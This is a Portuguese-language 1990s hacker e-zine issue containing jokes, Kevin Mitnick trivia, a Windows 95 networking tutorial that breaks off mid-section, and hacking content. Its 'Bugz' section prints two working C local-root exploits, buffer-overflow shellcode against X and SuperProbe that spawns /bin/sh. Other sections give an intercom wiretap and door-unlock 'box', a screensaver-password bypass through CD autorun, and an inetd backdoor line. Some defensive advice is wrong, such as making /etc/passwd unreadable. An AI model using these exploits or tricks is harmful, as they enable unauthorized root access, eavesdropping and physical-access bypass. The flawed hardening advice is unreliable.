
                    zZZZZZZZZZZZZZZZZZZZZZZZZ
                                          zZ
                                         zZ
                                        zZ
                                       zZ
                                      zZ
                 CCCCCCCCCCCCCCCC    zZ SSSSSSSSSSSSSSSS
                CCCCCCCCCCCCCCCCC   zZ SSSSSSSSSSSSSSSSS
               CCCCCCCCCCCCCCCCCC  zZ SSSSSSSSSSSSSSSSSS
              CCCCCC        CCCCC zZ SSSSSS        SSSSS
             CCCCCCC             zZ SSSSSSS             
            CCCCCCCC            zZ SSSSSSSSSSSSSSSSSSSSS
            CCCCCCCC           zZ  SSSSSSSSSSSSSSSSSSSSS
             CCCCCCC          zZ                SSSSSSS
              CCCCCC        CCCCC  SSSSS        SSSSSS
               CCCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSSS
                CCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSS
                 CCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSS
                         zZ
                        zZ
                       zZ
                      zZ
                     zZ
                    zZZZZZZZZZZZZZZZZZZZZZZZZine

                        by Cheat Struck





	Belo visual naum?





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


		UIN   da   revista : 16623675
		Canal  da  revista : #CSCHANNEL no irc.via-rs.com.br
		E-Mails da revista : cszine@hotmail.com
	                             cszine@xoommail.com
                Memoserv da revista: /msg memoserv send Struck <msg>
                                      (Soh no via-rs)
	        Page  da   revista : http://members.xoom.com/cszine


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=


	Introdução:

	Hehe! Altos papos no #hackers. To acabando de sair de lah, enquanto
tava vendo uns babacas(Posso me referir seguramente, pois eles se acham tão
bons que não taum nem ae pra esse zine) que começaram a brigar atrapalhando
os papos no canal.
	Assim.. Um manda o outro chupa, o outro diz que vai chupa as teta da
mãe do um, o um diz que o outro tah morto, o outro diz pro op bota ordem no
canal, o um mostra no canal o IP do um(como se jah fosse coisa tri hacker),
o outro chama o um de pato, o um diz que tah ligando pro provedor do outro,
o outro diz que tah usando a própria conta e não vai adiantar nada ligar pro
provedor, o um(que estava scaneando o host do outro as escondidas) ameaça o
outro com a frase manjada "TU NÃO ME CONHECE!" e mostra as portas detectadas
pelo scan, o outro diz "Entaum tenta me derrubar", o um diz que jah tá dentro
da MAKINA do outro, finalmente os dois são banidos do canal pelo op e o pes-
soal lamer que tava lah soh assistindo vai conta pros amigos que acabou de
presenciar uma briga entre hackers.
	Vão toma no cu! Os cara acabaram de instalar um Linux de kernel 2.0.0
e se logaram a inet. Usaram uns comandos que vem nos manuais do BitchX e ou-
tros que conseguiram nakela page hacker que ensina a hackear um provedor via
ftp. Após usarem todos os brinquedinhos, mostraram o resultado e deu, são os
maiores hackers.
	Atualmente os kra que frequentam esses canais taum mais pra lamahs
do que pra pelo menos Wannabes. E anda vem o palhaço do root e dah op preles
soh pq trocaram algumas palavrinhas e taum usando Linux(q entaum está muito
seguro, mesmo deixando o /etc/hosts.allow com all:all). A inet tah realmente
ficando uma merda. É por isso que nós nos vingamos do nosso jeito dessas
bixas adotadas e eles por sua vez avisam o paizinho que avisa o provedor que
diz que nos somos criminosos e deveriamos estar presos. Kra, isso me deixa
puto da vida. Ainda mais quando eles poe akelas pages cheias de bichices q
dizem que vão ensinar o outro a ser hacker em 5 lições. Ahhhhhhhh!
	...
	Bem.. Eu tinha que botar isso pra fora. Se vc leu isso, pode esquecer
se quizer que e não falei nada sobre a revista. Pois nem precisa. Vcs sabem.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Indice:

Seção:	Materia:		Assunto:		Autor:		Nota:

1.	FuNny			Piadas dos Simpsons	Cheat Struck	10,0
2.	Kevin Mitnick		Curiosidades		Cheat Struck	9,5
3.	Phreaking		Escutas via interfone	Cheat Struck	10,0
4.	Bugz			Bugz para Linux		Simon Phoenix	10,0
5.	Hacking p/ iniciantes	Protegendo seu sistema	Cheat Struck	9,5
6.	Redes			Redes Microsoft 	Cheat Struck	9,0
7.      Crackerz                Lista de hexas p4       Cheat Struck    9,0
8.      Invasao de privacidade  Kits de hackeagem       Pangéia LTDA.   10,0
9.      Hack, the Art           More tips               Cheat Struck    10,0
10.     ¡¡¡¡BoNuS!!!!           Boletim de segurança    Pangéia LTDA.   10,0



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  1. FuNnY  $$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Melhores piadas dos Simpsons



(Naquele episódio do boliche)

<Moe> Cara.. Agente tenta ser gentil com as pessoas, nos controlamos para nao
esmurra-las na cara, e pra que? Pra elas nos tratar como lixo? Eu sou melhor
do que lixo. Quer dizer, a maioria dele, não aquele lixo que se compra em
lojas, aqueles tróço cheio de nutrientes. Eu não posso competir com esse tipo
de coisa.




(No mesmo episódio)

<Bart> Mãe.. a minha atiradeira não cabe nesses bolsos.. eu to parecendo um
frutinha.. esses uniformes sao um saco!
<Marge> Bart! Onde aprende essas palavras??
<Homer falando no telefone> É moe, aquele time de ontem foi um saco! Encheram
o saco de todo mundo! Jah ví times encherem sacos, mas um saco como aquele!
Eu nunca ví um saco igual!
<Marge> Homer! Veja como fala!
<Homer> Desculpa moe, tenho que desligar! Meus filhos estao aqui!
<Lisa> Jah reparou é?
<Homer> Porque estão usando essas roupas??
<Bart> Fomos obrigados
<Homer> Foram obrigados!! Conversa de perdedor! Devem agir mais como eu e meu
time! Os futuros campeoes do mundo!! Nada pode nos parar agora!
<Sr. Burns> Parem tudo! Não me lembro de ter feito nenhum cheque para boli-
che!!
<Smithers> Senhor, esse é o cheque da sua lavagem.
<Sr. Burns> Ah sim!! Isso é muito importante.
<Smithers> É, lembra da vez que não o fez?
<Sr. Burns> Sim, foi muito desagradavel. Pra todos os envolvidos. Bem.. vol-
tando aos cheques.. Parem tudo! Não me lembro de ter feito nenhum cheque para
boliche!!
<Smithers> Hm.. O memorando diz: "Para meu amigo fresquinho da silva".
<Sr. Burns> Ah sim! Aquele ganancioso globulo feito de quimicas.
<Smithers> Deve ter sido mais umas da suas alucinações feitas pelo eter. Vou
ver um ficha no pessoal para ver quem pode ter feito tamanha personificação.
.. Ou foi o Chester Forstam Maier .. Ou o Homer Simpson.




(Episódio em que homer vê um ETE)

<Homer> Ahhhh! Hoje é sabado! Eu vou para o parque!
<Lenny> Mas Homer.. Ainda é demanhã!
<Homer> Não tem problema! Eu vou fazer uma coisa que eu vi num filme onde
um onibus tinha que ficar fazendo voltas na cidade acima de 80Km/h e se dimi-
nuisse ele explodiria. Eu acho que se chamava: "O onibus que não podia parar"




(no mesmo episódio)

<Wilie> É um ETE!! Matem ele! Matem ele!
<Lisa> Não esperem! Vejam que é seu verdadeiro ETE!
<Wilie> É um Monstro!! Matem ele! Matem ele!
<Smithers> Não esperem!! Não é um monstro! É o senhor Burns.
<Wilie> Ah! É o senhor Burns. Matem ele! Matem ele!




(no mesmo episódio)

<Homer> Aí eu disse: "Chocolatisa! Azuis ou vermelhos!" mas no final ficou
todo mundo com a mesma cor.




(no episódio em que os pais do Milhouse se separam)

<Marge> Homer, Você está pronto?
<Homer só de cueca> Só falta calsar os sapatos.
<Marge> Homer, a unica coisa que eu lhe pedi foi para que ficase pronto.
Ding! Dong!
<Marge> Agora é tarde! Bart vá atender os convidados e pegue os casacos deles
<Bart> Mãe, o reverendo Lovey Joy não venho de casaco. Deixo ele entrar?




(No mesmo episódio)

<Reverendo Lovey Joy> Marge, você aceita Homer Simpson na saude e na doença,
na riquesa e na pobresa, pobresa está sublinhado..




(Sei lah qual episódio)

<Homer> Vc está vivendo no passado! Pare de viver no passado, Marge! Vc quer
a verdade? Vc quer a verdade? Vc quer a verdade? Não aguentaria a verdade!!
Porque quando você olhar pra traz e procurar o ombro de quem era o seu melhor
amigo, Não Encontrará!! Não Marge! Isso é Chainatal!





-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  2. Kevin Mitnick  $$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Curiosidades


	Alguns administradores dos EUA fundaram o movimento Já BASTA! Que é
contra todos os hackers que modificam sites colocando pedidos da liberdade
de Kevin Mitnick. Estamos deixando os caras loucos.

	Kevin Mitnick foi o hacker a ficar mais tempo preso. Já completou 4
anos desde 1994 quando foi julgado por fraude com computador e outras coisas.

	A pouco também foi fundada a causa Kevin Poulsen, que exigia a a con-
dicional faz um ano, com a condição de não tocar em nada relacionado a um 
computador. Porem esse movimento não foi muito popular.

	A Yahoo, o catalogo de sites mais visitado, jah foi atakada por 
hackers que durante 15 minutos ameaçavam lança um vírus para seus visitantes.
Eles exigiam a libertação de Mitnick em troca da vacina. Porém não foi detec-
tado nenhum vírus e a mensagem só podia ser vista para usuarios que usavam o
browser Lynx.

	Há relatos de que hackers famosos, como Kevin Mitnick, já praticavam
o phreaking antes de se casarem com os computadores. O samurai que o pegou,
Tsutomo Shimomura, foi praticamente quem fez o primeiro relato mais completo
sobre o phreaking de telefones celulares. Alias, Kevin só foi pego por ele 
porque usava um celular clonado para acessar ilegalmente uma serie de compu-
tadores.

	Existem algumas pessoas que dizem que Mitnick chegou a invadir o
sistema da AT&T, mas isso são só histórias que envolvem Mitnick.

	Mitnick usava o nick de CONDOR em homenagem ao seu filme favorito.

	Contra-Ataque ( Titulo original: "Take Down") é um livro escrito por
John Markoff (jornalista) e Tsutomu Shimomura (especialista em seguranca de
computadores) que descreve como foi a captura do hacker Kevin Mitnick. Esta é
uma historia um tanto badalada, mas neste livro vc pode "ouvir" a versao de
Tsutomu. Kevin tem um livro contando a sua versao tambem mas parece que nao
saiu no Brasil.

	O OKI900 foi um dos principais motivos que levaram Mitnick a ser
preso. O aparelho é responsavel pela re-gravação dos celulares Epron. Kevin
invadiu o sistema de Shimomura a procura do código fonte desse programa e tb
informações sobre o aparelho. Após pegar as informaçòes do computador do
japa, Kevin poderia ficar indetectavel em qquer sistema telefonico.






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  3. Phreaking  $$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Escuta via interfone.


	Essa é nova. Eu acho que sou o primeiro a anunciar isso, pelo menos 
no Brasil. Vá lah pra sua cozinha e de uma olhada no seu interfone. Eu nao
sei qual é o modelo do meu, nem se isso ira funcionar em todos. Aqui em casa
pelo menos funcionou.
	Repare que 2 fios saem do interfone.
	Agora pegue uma extenção e ligue os fios da extenção nos fios do 
interfone. Eu não me lembro bem qual fio deve ser ligado em qual. Teste dos
dois modos.
	Agora atenda o telefone e PLIM! Se você quizer ligar pelo interfone
agora, use a tecnica de ligação sem teclas. Lembra né? Para discar 1 de um
toquezinho no botão onde vc encaixa o interfone, Para discar 2 de dois toque-
zinhos alí, Para 3, tres, e assim vai.
	No interfone o botão onde vc encaixa o telefone é o mesmo do qual vc
aperta para abrir a porta pro loko lah em baixo.
	Aqui vai um desenho de onde encaixar os fios:



                                    aparelho             fone
                                     ______              ____
                                    |   ___|            |    \
   Extenção      fios do interfone  |  |                |__   |
===============+====================|  |                   |  |
===============+====================|  |__               __|  |
                                    |  |__|_            |     |
                                    |_______|===========|____/





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=

	Box em fase de teste


	Não é lah uma box. E tb não irá fazer nada muito importante. Mas tal-
véz outras boxes se gerem após essa. Pra falar a verdade, essa box ainda nem
saiu do papel. Eu nem experimentei pra ver se funciona pois se o fizesse a
minha mãe iria perceber o fio do interfone descapado ou com fita isolante.
	Aqui vai o rascunho que eu fiz no papel da box:





               _____                                  ________
              |     |                                |__-__-__|
==============|     |=================================/      \
              |_____|    fio que iria para o fone    /________\
             interfone                                telefone
             sem o fone



	O que essa box faria seria mandar pulsos para o aparelho do interfone
indicando que a porta deveria destrancar. Ae a porta iria destrancar em pe-
quenos pulsos, o que talvéz em uma visão geral não serviria pra nada. Mas com
tanta box ae que não serve pra bosta nenhuma a não ser pra conhecimento, o q
custa adicionar mais uma na lista.
	Se você testou essa box e não funcionou: Mail-me. Se vc nem testou
pq sabe o motivo dela não funcionar: Mail-me too. Se vc testou e funcionou:
Mail-me. E por fim, se você criou uma variação dessa box: Mail-me.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$         $$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  4. Bugz  $$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$         $$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Bug no Autorun


	É um bug simples do Windows(pq eu insisto em tocar nessa tecla?).
	Ele serve para livrar a tua barra nas horas em que o sistema parar
esperando por uma senha. Tipo nos screemsavers(protetores de tela).
	Assim que surgir o pedido de senha, coloque um CD com autorun(sabe,
aqueles que rodam automatico). O menu do CD surgirá, ae é só sair e vc não
precisará mais colocar password nenhum.
	O patch desse bug é algo muito simples e qualquer LAMAH descubrirá
sózinho. Desative o Autorun.
	Como fazer isso?? Putz. Não caberia a mim entrar em detalhes, ainda
mais pq vcs nem devem se interesar muito por isso, mas vou explicar:
	Abra o painel de controle.
	Clique no ícone Sistema.
	Clique em Gerenciador de Dispositivos.
	Abra o drive CDROM.
	Clique no drive do seu CDROM e clique em Propriedades.
	Clique em configurações.
	Por fim, desabilite a opção Auto-run ou Notificação de Auto-inserção.
	De OK em tudo, reinicie e pronto.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Bugz do Linux (por Simon Phoenix)


«»«»«»«»«»«»«»«»«»«»«»«»
* Versão : Redhat
* Descrição : Acesso ao disco flexivel
* Exploit :
cat /dev/fd0H1440



«»«»«»«»«»«»«»«»«»«»«»«»
* Versão : Redhat 4.1
* Descrição : Acesso de root
* Exploit :
------------------------------Corte Aki--(X.c)-------------------------------
#define OFFSET 2
#include <string.h>
#include <unistd.h>
#include <errno.h>
#define LENCODE ( sizeof( Code ) )
char Code[] =
    "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
    "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
    "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
    "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}

-----------------------------------------------------------------------------




«»«»«»«»«»«»«»«»«»«»«»«»
* Versão : 4.x
* Descrição : Get passwd
* Exploit :
----------------------------Corte Aki--(super.c)-----------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
  asm("movl %esp,%eax"); }
#define bufsize 8192
#define alignment 0
char buffer[bufsize];

main() {
  int i;
  for (i = 0; i < bufsize / 2; i += 4)
    *(char **)&buffer[i] = get_sp() - 2048;
  memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
  strcpy(&buffer[bufsize - 256], shellcode);
  setenv("SHELLCODE", buffer, 1);
  memset(buffer, 'x', 72);
  *(char **)&buffer[72] = get_sp() - 6144 - alignment;
  buffer[76] = 0;
  execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
  printf("%s", buffer);
}

-----------------------------------------------------------------------------




«»«»«»«»«»«»«»«»«»«»«»«»
* Versão : Redhat 5.x
* Descrição : Permisões
* Exploit :
/bin/linuxconf





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$
$$$$$$$                          $$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$
$$$$$$  5. Hacking p/ iniciantes  $#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$
$$$$$$$                          $$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Protegendo seu sistema dos iguais a você.


	Eu ja falei muito sobre hacking, truques, bugz, e outras coisas. Mas
o que adianta saber um bocado sobre como tirar proveito do sistema dos outros
se vc não sabe como deixar que os outros não tirem proveito do seu sistema.
	Tipo os karas da MOS. Que se dedicaram tanto em hackear e no final
foram hackeados. Eu considero o MOS um grupo serio e o fato deles terem sido
hackeados não foi por causa de um erro deles e sim dos administradores da
XOOM.
	Aqui eu irei falar sobre como proteger o seu sistema pessoal, come-
çando do basico.



*** Com que permissão eu devo deixar o /etc/passwd ??? ***

	Um kra jah me fez essa pergunta. A permissão mais adequada seria rwx
para o root, --- para usuarios do grupo e outras pessoas.
	Ae ele me disse que quando coloca o /etc/passwd sem permisão de read
para outros usuarios, quando se loga como um usuario normal, aparece algo
tipo "You is Nobody" ou algo assim quando vc digita whoame.
	Isso acontece apenas quando o sistema está sem root. Ae o usuario 
normal, como não tem acesso ao /etc/passwd, não tem como a shell descobrir
seu UID e GID(que estão no /etc/passwd) Por isso ele não te reconhece.
	A premissão correta para o /etc/passwd é -rwx------.
	É melhor vc deixar todos os arquivos do diretório /etc com essa per-
missão. Principalmente o passwd, o group e o hosts




*** Verificando se existem backdoors no seu Sistema ***

	A primeira coisa que vc deve fazer como root, sempre que se loga ao
seu sistema é digitar: cat /etc/passwd | grep :0:
	Isso mostrará se algum hacker entrou no sistema e colocou uma nova
conta root. Após digitar esse comando, a unica linha que deverá aparecer é a
correspondente da sua conta.
	Depois digite: cat /etc/inetd.conf | grep -i
	Se aparecer algo tipo:
Portashell	stream	tcp	nowait	root	/bin/sh		sh -i
	É backdoor na certa. As vezes os hackers, um pouco mais experientes
trocam o nome da shell sh para qquer coisa. Se conter a opçào -i, disconfie e
verifique o arquivo, para ver se não é nenhuma backdoor disfarçada.
	Também verifique os arquivos /etc/hosts.allow e /etc/hosts.denny. Se
no hosts.allow conter a linha all:all, retirea imediatamente, pois isso sig-
nifica que qquer paiaço pode acessar o seu sistema. Essa linha deve estar no
hosts.denny.
	A backdoor possivelmente mais dificíl de se encontrar é a shell com
a opção de superuser(+s) ativa. Acessando ela, o usuario normal tera acesso
de root e vc talvéz nem disconfie, pois ele está acessando uma shell como 
qquer outro usuario. Se o kra se esqueceu de killar o ps onde ele ativa a
shell, vc pode ser capaz de descobrila facilmente digitando ps seguido da 
opção -ax. MAs ae vc terá que ter paciencia.




*** Verificando a existencia de bugz no seu sistema ***

	É pra isso que a seção BUGZ tah ae. Verifique se arquivos tipo 
/usr/X11R6/bin/SuperProbe e /usr/X11R6/bin/XF86* estão com a opção -s
(super user) ativada. Se estiver digite: chmod u-s /usr/X11R6/bin/XF86*.
	Esses dois bugz foram descritos na seção BUGZ por Simon Phoenix. Como
o trabalho dele é só descrever o exploit, então eu contratakei com o patch.
	Você deve se atualizar seu kernel sempre que sair uma versão mais re-
cente. Porém fique ligado nos bugz que eles levam junto. Para ficar sempre
aualizado diante os bugz tanto de UNIX, Windows e programas especificos, vi-
site o site http://www.rootshell.com . Lah vc encontrará, atualizadamente,
listas de Bugz e Exploits.



	Eu não vou comentar muito sobre segurança, pois não teria as minimas
chances diante das zines especializadas nisso como a RWX e POLICY. Recomendo
a lida das edições de ambas, tanto para administradores quanto para hackers.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Perguntas que vc sempre teve medo de fazer.


	Enviem emails com suas duvidas.


¿ Porque a maioria dos Exploits que prestam estão em C ?
	Primeiro porque C é a linguagem mais usada por usuarios de UNIX. tan-
to por seus compiladores jah virem juntos com o kernel. Depois, em C você po-
de fazer muito mais coisa do que apenas a linguagem basica de scripts para
UNIX, permitindo a criação de buffers que serão extremamentes importantes na
hora do Exploited.


	Essa semana, não recebi muitos emails de duvidas. Qquer coisa é soh
mandar que a sua privacidade será respeitada. Particulamente, eu tb acho um
conforto a privacidade na inet.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  6. Redes  $$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



	Ehhhh.. Seção nova na zine. Talvéz ela permaneça, talvéz não. Tudo
depende dos editores darem as caras.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Redes Microsoft


	O objetivo deste texto é mostrar os passos básicos para a configu-
raçào de uma rede ponto-a-ponto(ppp), usando como software apenas os recursos
de redes incluídos no Windows 95.
	Neste projeto será criada uma estrutura composta por 3 micros.
	Um sistema desse tipo permite que cada computador seja usado, ao 
mesmo tempo, como estação de trabalho e como servidor. Ou seja, o micro A 
pode ser utilizado pelo seu usuário e ter a impressora que está ligada dire-
tamente a ele compartilhada pelos demais componentes da rede.
	Também é possivel especificar que uma de suas pastas(dirs) ou um 
disco seja acessado por outros usuários.
	O ambiente dessa rede é descrito a seguir.

Micro 1 - É um 486 DX2 de 66 MHz com uma impressora conectada. Tem um disco 
          rígido e uma unidade de CD-ROM que será compartilhada. Seu nome no
          sistema será DX266.
Micro 2 - Maquina 486 DX4 de 100 MHz com disco rígido, que será compartilhado
          O seu nome será 486DX100.
Micro 3 - Equipamento 486 SLC de 50 MHz. Essa máquina não terá nenhum recurso
          compartilhado. Seu nome será 486SLC50.

	Os passos básicos para configurar a rede ponto-a-ponto são os 
seguintes:

1. Instalação fisica da rede.
2. Configuração do Software.
3. Identificação dos micros.
4. Definição de pastas e impressoaras compartilhadas.
5. Acesso aos recursos da rede.

	A instalação fisica de uma rede ponto-a-ponto não representa um bicho
de sete cabeças.
	Existem no mercado diversos kits de rede destinados a pequenos usuá-
rios que facilitam essa tarefa. Esses kits incluem placas, cabos, conectores,
e guias de instalação rápida.
	Durante a instalação do Windows 95, habilita-se automaticamente a 
parte do sistema que permite ao micro trabalhar numa rede ponto-a-ponto como
clientes para redes microsoft. Para verificar se estes módulos foram realmen-
te instalados, abra o Painel de controle e clique no ícone Redes. A guia 
Configuração mostra softwares presentes na máquina. O cliente para redes 
microsoft é o responsavel pela operação da rede ponto-a-ponto do Windows 95.
Se ele estiver listado, pressione o botão OK. Caso contrario, pressione o 
botão Adicionar para fazer sua instalação. 
	O Próximo passo é fazer com que o micro seja renomeado pela rede. 
Para isso é necessario dar um nome ao computador e outro ao grupo de trabalho
a que ele pertence. Essas informações são solicitadas durante a instalação do
Windows 95 mesmo que o usuário não esteja ligado em rede.

	Identificação:
	Para especificar os nomes do computador e do grupo de trabalho, per-
corra o seguinte roteiro:
1. Ative o Painel de Controle, clique no ícone Rede e, na caixa de diálogo 
que se abre, escolha a guia Identificação.
2. Digite o nome do computador e do grupode trabalho. Não pode existir outro
micro na rede com o mesmo nome.
	O grupo de trabalho pode ser entendido como o departamento ao qual 
pertence o micro. Pode-se ter uma rede com diversos micros ligados, mas divi-
didos em grupos. Neste exemplo, todos pertencerão a um grupo chamado ADS de
Analistas de Sistemas.
	Acaixa de diálogo oferece ainda a opção de registrar uma descrição 
para o seu micro, que será visível para outros usuários quando consultarem 
uma lista de computadores da rede. Como nossa rede hipotéticaé composta por 3
micros, essa caixa de dialogo deve ser preenchida em cada uma das maquinas. 
Observe que o nome do computador é diferente em cada ponto(DX266, 486DX100 e
486SLC50) e o nome do grupo de trabalho é o mesmo(ADS).
	O próximo passo consiste em determinar quais periféricos serão com-
partilhados em cada micro. Uma maquina pode compartilhar todos os seus peri-
féricos, alguns deles ou simplesmente nenhum. Nesse último caso, ela funciona
apenas como uma estação de trabalho que acessa dados em outro local da rede.
	Para permitir compartilhamento de arquivo e impressora em seu compu-
tador: 
